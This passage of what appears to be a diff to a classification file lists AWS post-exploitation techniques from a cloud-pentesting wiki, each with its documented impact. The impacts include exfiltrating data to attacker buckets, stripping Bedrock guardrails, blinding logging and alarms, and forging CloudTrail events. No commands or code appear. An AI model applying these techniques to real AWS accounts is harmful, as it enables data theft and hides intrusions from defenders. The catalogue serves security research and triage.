src/pentesting-cloud/aws-security/aws-post-exploitation/aws-account-management-post-exploitation/README.md#accountenableregion--disableregion--open-a-blind-region-or-disrupt-one + technique: '`account:EnableRegion` / `DisableRegion` — open a blind region or disrupt one' + reason: 'Documented impact: Enabling an unmonitored Region creates a staging area outside incomplete regional + detection/control deployments; disabling an in-use opt-in Region removes IAM access to its resources and can + cause a regional outage until... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-acm-pca-scep-post-exploitation/README.md#acmexportcertificate--export-the-certificate-private-key + technique: '`acm:ExportCertificate` — Export the certificate private key' + reason: This heading concerns reading or exporting data via `acm:ExportCertificate` — Export the certificate private + key; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-agent-registry-post-exploitation/README.md#agent-registryupdateregistryrecordstatus--approve-a-malicious-registry-revision + technique: '`agent-registry:UpdateRegistryRecordStatus` — approve a malicious registry revision' + reason: 'Documented impact: Bypass the registry''s human curation step and publish attacker-controlled MCP server, + agent, skill or custom metadata to every consumer authorized to discover the registry. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-amplify-post-exploitation/README.md#recover-amplify-ui-builder-generated-source--amplifyuibuildergetcodegenjob + technique: Recover Amplify UI Builder generated source — `amplifyuibuilder:GetCodegenJob` + reason: 'Documented impact: recover generated application source and its complete generic data schema, including + model and field names, relationships, enum values, UI labels, component structure, action configuration and + embedded application URLs. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypost-createapikey-createusageplankey + technique: '`apigateway:POST` (`CreateApiKey`, `CreateUsagePlanKey`)' + reason: 'Documented impact: if the association becomes effective: Access to methods that use the associated usage-plan + key, or resource and traffic impact if an attacker can create many keys; separate IAM, Lambda authorizer, or + Cognito authorization... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayget--recover-rest-api-key-values + technique: '`apigateway:GET` — Recover REST API key values' + reason: 'Documented impact: Disclosure and reuse of API Gateway client credentials and access to key-gated API + methods. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updatestage--repoint-a-stage-variable-at-an-attacker-backend + technique: '`apigateway:PATCH` (`UpdateStage`) — repoint a stage variable at an attacker backend' + reason: 'Documented impact: Complete interception of a live API''s traffic — request headers and bodies (bearer + tokens, cookies, API keys, PII) reach an attacker-controlled endpoint, which can also alter the response returned + to the client. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updatestage--canary-split-live-traffic-onto-another-deployment + technique: '`apigateway:PATCH` (`UpdateStage`) — canary-split live traffic onto another deployment' + reason: 'Documented impact: A fraction of live production traffic — chosen by the attacker — is served by a different + deployment, or by the same deployment pointed at a different backend through stageVariableOverrides. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch--apigatewaypost-updategatewayresponse-createdeployment + technique: '`apigateway:PATCH` / `apigateway:POST` (`UpdateGatewayResponse`, `CreateDeployment`)' + reason: 'Documented impact: Leakage of request or context data, or attacker-controlled response content being + interpreted unsafely by a client. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayput--apigatewaypost-putmethodresponse-createdeployment + technique: '`apigateway:PUT` / `apigateway:POST` (`PutMethodResponse`, `CreateDeployment`)' + reason: 'Documented impact: Altered response contracts or exposure of values that an integration maps into the + newly declared headers; arbitrary script execution would require a separate client-side sink. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayupdateportal--apigatewaypublishportal--make-protected-api-documentation-public + technique: '`apigateway:UpdatePortal` + `apigateway:PublishPortal` — make protected API documentation public' + reason: 'Documented impact: Remove the portal''s login boundary and expose its entire published API documentation/catalog + to unauthenticated internet users. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updateapi--open-a-http-apis-cors-policy-to-an-attacker-origin + technique: '`apigateway:PATCH` (`UpdateApi`) — open a HTTP API''s CORS policy to an attacker origin' + reason: 'Documented impact: Any browser session authenticated to the API can be read and driven cross-origin from + an attacker-controlled page, turning the API into a credentialed data-exfiltration and action endpoint without + touching routes, integrations... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updatestage--roll-a-stage-back-to-an-unsafe-deployment + technique: '`apigateway:PATCH` (`UpdateStage`) — roll a stage back to an unsafe deployment' + reason: 'Documented impact: Re-exposure of removed API behavior or data, authorization bypass through an older + configuration, or service disruption. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch--apigatewaypost-updaterestapi-createdeployment + technique: '`apigateway:PATCH` / `apigateway:POST` (`UpdateRestApi`, `CreateDeployment`)' + reason: 'Documented impact: Re-exposing the default API endpoint or changing where API Gateway obtains usage identifiers, + which can undermine assumptions made by custom-domain or usage-plan controls. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewaypatch-updatestage--silence-a-stages-logging-and-tracing + technique: '`apigateway:PATCH` (`UpdateStage`) — silence a stage''s logging and tracing' + reason: 'Documented impact: Removes the only record of API invocations — CloudTrail never sees the data plane + — so subsequent abuse of the API (token replay, injection, data pulls) leaves no trace on the API Gateway side. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-app-mesh-post-exploitation/README.md#appmeshupdateroute--redirect-matched-traffic-to-a-controlled-virtual-node + technique: '`appmesh:UpdateRoute` — redirect matched traffic to a controlled virtual node' + reason: 'Documented impact: Redirect or disrupt only the requests matched by the changed route or virtual service. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfiggethostedconfigurationversion--read-an-immutable-hosted-version + technique: '`appconfig:GetHostedConfigurationVersion` — read an immutable hosted version' + reason: 'Documented impact: Disclosure of credentials, endpoints, authorization rules, feature controls, customer + data, or other sensitive values stored in any readable hosted version, including an old version that is no longer + deployed. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfigcreatehostedconfigurationversion--poison-a-later-deployment + technique: '`appconfig:CreateHostedConfigurationVersion` — poison a later deployment' + reason: 'Documented impact: Delayed manipulation of feature/security controls, allowlists, endpoints, templates, + or consumer behavior. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfigstartdeployment--activate-or-roll-back-to-a-stored-version + technique: '`appconfig:StartDeployment` — activate or roll back to a stored version' + reason: 'Documented impact: Immediate rollback to vulnerable settings, reactivation of old credentials/endpoints, + disabling of a security feature, or activation of a dormant malicious version; the concrete impact is limited + by the selected version and... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appflow-post-exploitation/README.md#broaden-or-poison-a-flow-with-updateflow + technique: Broaden or poison a flow with `UpdateFlow` + reason: 'Documented impact: disclose a wider dataset to the existing destination, defeat field-level privacy controls, + corrupt downstream schemas/records and increase transfer frequency/cost. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-application-discovery-post-exploitation/README.md#discoverylistconfigurations--describeconfigurations--listserverneighbors---map-the-hybrid-estate + technique: '`discovery:ListConfigurations` / `DescribeConfigurations` / `ListServerNeighbors` - Map the hybrid + estate' + reason: This heading concerns reading or exporting data via `discovery:ListConfigurations` / `DescribeConfigurations` + / `ListServerNeighbors` - Map the hybrid e; it does not itself authorize a different AWS principal or execute + code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-application-discovery-post-exploitation/README.md#discoverystartexporttask--describeexporttasks---bulk-export-discovered-data-through-an-aws-managed-download-url + technique: '`discovery:StartExportTask` + `DescribeExportTasks` - Bulk-export discovered data through an AWS-managed + download URL' + reason: This heading concerns reading or exporting data via `discovery:StartExportTask` + `DescribeExportTasks` + - Bulk-export discovered data through an AWS-man; it does not itself authorize a different AWS principal or + execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appstream-post-exploitation/README.md#appstreamupdateimagepermissions--share-and-clone-a-private-golden-image-cross-account + technique: '`appstream:UpdateImagePermissions` — share and clone a private golden image cross-account' + reason: 'Documented impact: Cross-account disclosure and durable copying of a private golden image, including + proprietary applications, internal configuration, cached data, or credentials accidentally baked into the filesystem. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appstream-post-exploitation/README.md#appstreamcreateexportimagetask--iampassrole--turn-a-private-image-into-an-ec2-ami + technique: '`appstream:CreateExportImageTask` + `iam:PassRole` — turn a private image into an EC2 AMI' + reason: 'Documented impact: Materialize a private streaming golden image as an EC2 AMI, enabling offline or launched-instance + inspection of proprietary software, internal configuration, cached data, and accidentally baked credentials. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appstream-post-exploitation/README.md#appstreamupdatestack--re-enable-client-data-transfer-channels + technique: '`appstream:UpdateStack` — re-enable client data-transfer channels' + reason: 'Documented impact: Enable data ingress through clipboard/file upload and exfiltration through clipboard/file + download/local printing for current or future sessions on the stack. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-artifact-post-exploitation/README.md#artifactgettermforreport--artifactgetreport--download-confidential-compliance-reports + technique: '`artifact:GetTermForReport` + `artifact:GetReport` — download confidential compliance reports' + reason: 'Documented impact: Exfiltrate confidential AWS or third-party audit and compliance reports, including + attachments embedded in PDFs. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-post-exploitation/README.md#athenaupdateworkgroup--redirect-query-results-to-an-attacker-bucket--strip-result-encryption + technique: '`athena:UpdateWorkGroup` — redirect query results to an attacker bucket / strip result encryption' + reason: 'Documented impact: Continuous exfiltration of the result sets of other users'' Athena queries in the + affected work group (and/or storage of results in the clear), without querying the underlying data yourself. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-post-exploitation/README.md#athenacreateworkgroup--athenastartqueryexecution--read-governed-data-into-a-bucket-you-control + technique: '`athena:CreateWorkGroup` + `athena:StartQueryExecution` — read governed data into a bucket you control' + reason: 'Documented impact: Bulk exfiltration of any Glue/Lake-Formation table the caller''s role can query, written + to an attacker-controlled bucket. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-aurora-dsql-post-exploitation/README.md#dsqldbconnect--access-through-a-mapped-database-role + technique: '`dsql:DbConnect` — access through a mapped database role' + reason: 'Documented impact: authenticate through the IAM principal''s mapped PostgreSQL role and read or modify + every database object granted to that role. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-backup-post-exploitation/README.md#backupstartrestorejob--iampassrole--clone-protected-data + technique: '`backup:StartRestoreJob` + `iam:PassRole` — clone protected data' + reason: 'Documented impact: Read data the caller cannot access on the source resource by restoring a recovery + point into an attacker-named or attacker-readable target (e.g. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-backup-post-exploitation/README.md#backupputbackupvaultaccesspolicy--self-grant-recovery-point-operations + technique: '`backup:PutBackupVaultAccessPolicy` — self-grant recovery-point operations' + reason: 'Documented impact: Self-grant specific recovery-point operations (StartRestoreJob, DeleteRecoveryPoint, + GetRecoveryPointRestoreMetadata) through a vault resource policy with no identity-based grant — enabling data + recovery or destruction of backups. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-batch-data-disclosure-post-exploitation/README.md#batchdescribejobdefinitions--environment-disclosure + technique: '`batch:DescribeJobDefinitions` — environment disclosure' + reason: 'Documented impact: Disclosure of effective runtime commands, plaintext environment overrides, infrastructure + details, and any credentials incorrectly passed as literal values. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-batch-data-disclosure-post-exploitation/README.md#batchdescribejobs--read-per-run-commands-and-environment-overrides + technique: '`batch:DescribeJobs` — read per-run commands and environment overrides' + reason: 'Documented impact: Disclosure of effective runtime commands, plaintext environment overrides, infrastructure + details, and any credentials incorrectly passed as literal values. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md#bedrockupdateguardrail--strip-a-guardrails-policies-while-the-application-keeps-using-it + technique: '`bedrock:UpdateGuardrail` — strip a guardrail''s policies while the application keeps using it' + reason: 'Documented impact: Silent removal of the content-safety, denied-topic and PII-redaction controls protecting + every application that references the guardrail, while the guardrail keeps existing, keeps the same id and keeps + reporting READY. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md#bedrockdeletemodelinvocationloggingconfiguration--bedrockputmodelinvocationloggingconfiguration--blind-out-the-promptcompletion-audit-trail + technique: '`bedrock:DeleteModelInvocationLoggingConfiguration` | `bedrock:PutModelInvocationLoggingConfiguration` + — blind out the prompt/completion audit trail' + reason: 'Documented impact: Account- and Region-wide destruction of the only record of what was sent to and returned + by every Bedrock model — prompts, completions, embeddings and images — for every application in the Region, + with no effect on the... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#chimegetmediapipeline--recover-an-rtmp-publishing-key + technique: '`chime:GetMediaPipeline` — recover an RTMP publishing key' + reason: 'Documented impact: recover a third-party live-stream publishing credential and destination identifier. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-clean-rooms-post-exploitation/README.md#redirect-stored-sql-and-ml-output-destinations-with-passrole + technique: Redirect stored SQL and ML output destinations with `PassRole` + reason: 'Documented impact: Persistent capture of later protected-query/job results, trained-model artifacts, + or inference outputs in an attacker-readable S3 location. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloud-map-post-exploitation/README.md#servicediscoveryregisterinstance--blindly-overwrite-or-inject-a-backend + technique: '`servicediscovery:RegisterInstance` — blindly overwrite or inject a backend' + reason: The section documents the resource or service effect of `servicediscovery:RegisterInstance` — blindly + overwrite or inject a backend, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloud-map-post-exploitation/README.md#servicediscoveryupdateinstancecustomhealthstatus--remove-or-revive-a-backend + technique: '`servicediscovery:UpdateInstanceCustomHealthStatus` — remove or revive a backend' + reason: The section documents the resource or service effect of `servicediscovery:UpdateInstanceCustomHealthStatus` + — remove or revive a backend, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-data-disclosure-post-exploitation/README.md#describestacks-gettemplate-and-gettemplatesummary--secret-disclosure + technique: '`DescribeStacks`, `GetTemplate`, and `GetTemplateSummary` — secret disclosure' + reason: This heading concerns reading or exporting data via `DescribeStacks`, `GetTemplate`, and `GetTemplateSummary` + — secret disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-data-disclosure-post-exploitation/README.md#cloudformationlistexports--cross-stack-output-disclosure + technique: '`cloudformation:ListExports` — cross-stack output disclosure' + reason: This heading concerns reading or exporting data via `cloudformation:ListExports` — cross-stack output + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-data-disclosure-post-exploitation/README.md#cloudformationdescribechangeset--pending-parameter-disclosure + technique: '`cloudformation:DescribeChangeSet` — pending parameter disclosure' + reason: This heading concerns reading or exporting data via `cloudformation:DescribeChangeSet` — pending parameter + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-data-access-post-exploitation/README.md#cloudfrontlistdistributions-cloudfrontgetdistribution-cloudfrontgetdistributionconfig--recover-origin-custom-headers + technique: '`cloudfront:ListDistributions`, `cloudfront:GetDistribution`, `cloudfront:GetDistributionConfig` — + Recover origin custom headers' + reason: 'Documented impact: Disclosure of origin shared secrets, internal origin names, and configuration that + can enable CDN/WAF bypass or direct backend access. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-data-access-post-exploitation/README.md#cloudfront-keyvaluestoregetkey-cloudfront-keyvaluestorelistkeys--read-edge-configuration-values + technique: '`cloudfront-keyvaluestore:GetKey`, `cloudfront-keyvaluestore:ListKeys` — Read edge configuration values' + reason: 'Documented impact: Disclosure of protected edge configuration and any credentials, routing controls, + authorization data, or tenant values stored there. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-data-access-post-exploitation/README.md#cloudfrontgetfunction--download-edge-function-source + technique: '`cloudfront:GetFunction` — Download edge-function source' + reason: 'Documented impact: Disclosure of proprietary edge code, security controls, internal routing logic, and + embedded secrets. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md#cloudfrontdelete + technique: '`cloudfront:Delete*`' + reason: 'Documented impact: Irreversible destruction of the CDN layer: the distribution, its cache/origin-request/response-headers + policies, key groups, functions and origin access identities. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudtrail-data-access-post-exploitation/README.md#cloudtraillookupevents--read-account-activity-and-request-details + technique: '`cloudtrail:LookupEvents` — Read account activity and request details' + reason: 'Documented impact: Disclosure of security/audit events, identities, source IP addresses, resource identifiers, + and API request details. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudtrail-post-exploitation/README.md#cloudtrail-lake-channel-poisoning--forge-events-with-cloudtrail-dataputauditevents + technique: CloudTrail Lake channel poisoning — forge events with `cloudtrail-data:PutAuditEvents` + reason: 'Documented impact: Corruption of the integrity of the CloudTrail Lake investigation surface — false attribution, + fabricated timelines, and burial of real activity under attacker-generated noise, plus ingestion-cost inflation. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-log-data-post-exploitation/README.md#logsgetlogevents-logsfilterlogevents--read-application-and-audit-logs + technique: '`logs:GetLogEvents`, `logs:FilterLogEvents` — Read application and audit logs' + reason: 'Documented impact: Disclosure of application data, credentials, tokens, PII, and security/audit events + retained in CloudWatch Logs. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-log-data-post-exploitation/README.md#logsgetlogrecord-logsgetqueryresults--alternate-log-data-paths + technique: '`logs:GetLogRecord`, `logs:GetQueryResults` — alternate log-data paths' + reason: 'Documented impact: Retrieve complete log records or an existing query''s result rows without permission + to start a query, potentially disclosing credentials, session tokens, request bodies, PII, security events, + and other fields omitted from the... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-log-data-post-exploitation/README.md#rumgetappmonitordata--read-browser-and-user-session-telemetry + technique: '`rum:GetAppMonitorData` — read browser and user-session telemetry' + reason: 'Documented impact: Bulk disclosure of retained browser and user-session telemetry, including stable user/session + identifiers, visited pages and referrers, client-side errors, HTTP metadata, device/browser attributes, location + fields, and... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-log-data-post-exploitation/README.md#logscreateexporttask--bulk-export-a-whole-log-groups-history-to-s3 + technique: '`logs:CreateExportTask` — bulk-export a whole log group''s history to S3' + reason: 'Documented impact: Exfiltration of a log group''s full retained history (credentials, tokens, PII, audit + trail) to an attacker-controlled (optionally cross-account) S3 bucket, without direct log-read permission. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-omni-post-exploitation/README.md#cloudwatchupdateintegration--rebind-an-external-integration + technique: '`cloudwatch:UpdateIntegration` — rebind an external integration' + reason: 'Documented impact: redirect or disrupt agent/provider traffic and any alert or asynchronous workflow + that trusts the modified integration; for a valid attacker-controlled provider account or workspace, future + integration activity can reach that... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-omni-post-exploitation/README.md#cloudwatchupdatealert--hijack-a-scheduled-query-and-its-notifications + technique: '`cloudwatch:UpdateAlert` — hijack a scheduled query and its notifications' + reason: 'Documented impact: suppress or redirect operational notifications, poison alert state with an attacker-selected + query/threshold, create false incidents, hide real incidents, and conditionally leak the alert notification''s + state/contributor... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchgetdashboard--dashboard-body-disclosure + technique: '**`cloudwatch:GetDashboard` — Dashboard-body disclosure**' + reason: 'Documented impact: Disclose dashboard widget configuration — Metrics Insights queries, alarm/resource + identifiers, account IDs, regions, operational URLs, runbooks and operator-pasted text — without modifying anything. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#oamcreatelink--telemetry-service-link-actions--expose-observability-data-cross-account + technique: '**`oam:CreateLink` + telemetry-service `Link` actions — expose observability data cross-account**' + reason: 'Documented impact: Continuous cross-account disclosure of selected logs, metrics, traces and application-observability + metadata to a monitoring account controlled by the attacker. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchtagresource-cloudwatchuntagresource + technique: '**`cloudwatch:TagResource`, `cloudwatch:UntagResource`**' + reason: 'Documented impact: Disruption of tag-based access control policies. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeletealarmscloudwatchputmetricalarm--cloudwatchputcompositealarm + technique: '**`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**' + reason: 'Documented impact: Reconfigured alarms can raise false positives, hide real threshold breaches, or redirect + automated actions. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdisablealarmactions-cloudwatchenablealarmactions-cloudwatchsetalarmstate + technique: '**`cloudwatch:DisableAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**' + reason: 'Documented impact: Disabling actions suppresses notifications and remediation, while forced alarm states + can create distractions, misleading telemetry, or execution of a preconfigured privileged alarm action. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeleteanomalydetector-cloudwatchputanomalydetector + technique: '**`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**' + reason: 'Documented impact: Direct effect in the detection of unusual patterns or security threats. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeletedashboards-cloudwatchputdashboard + technique: '**`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`**' + reason: 'Documented impact: Loss of monitoring visibility and misleading information. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeleteinsightrules-cloudwatchputinsightrule-cloudwatchputmanagedinsightrules + technique: '**`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRules`**' + reason: 'Documented impact: Difficulty to detect and respond to performance issues and anomalies, misinformed + decision-making and potentially hiding malicious activities or system failures. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdisableinsightrules-cloudwatchenableinsightrules + technique: '**`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**' + reason: 'Documented impact: Confusion among the operations team, leading to delayed responses to actual issues + and unnecessary actions based on false alerts. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchdeletemetricstream--cloudwatchputmetricstream--cloudwatchputmetricdata + technique: '**`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**' + reason: 'Documented impact: Disruption in the flow of monitoring data, impacting the detection of anomalies and + incidents, resource manipulation and costs increasing due to the creation of excessive metric streams. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#cloudwatchstopmetricstreams-cloudwatchstartmetricstreams + technique: '**`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**' + reason: 'Documented impact: Disruption in the flow of monitoring data, impacting the detection of anomalies and + incidents. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#observabilityadminupdatetelemetrypipeline--erase-or-rewrite-telemetry-before-storage + technique: '**`observabilityadmin:UpdateTelemetryPipeline` — erase or rewrite telemetry before storage**' + reason: 'Documented impact: Loss or falsification of security, application, and operational telemetry before responders, + alarms, queries, and retention controls receive it. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-post-exploitation/README.md#oamupdatelink--oamdeletelink--widen-disclosure-or-blind-central-monitoring + technique: '**`oam:UpdateLink` / `oam:DeleteLink` — widen disclosure or blind central monitoring**' + reason: 'Documented impact: Expansion exposes previously filtered telemetry to the monitoring account; narrowing + or deletion creates a cross-account monitoring blind spot for incident response, operations and detection pipelines. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeartifact-auth-token-post-exploitation/README.md#codeartifactgetauthorizationtoken-stsgetservicebearertoken + technique: '`codeartifact:GetAuthorizationToken`, `sts:GetServiceBearerToken`' + reason: 'Documented impact: Read 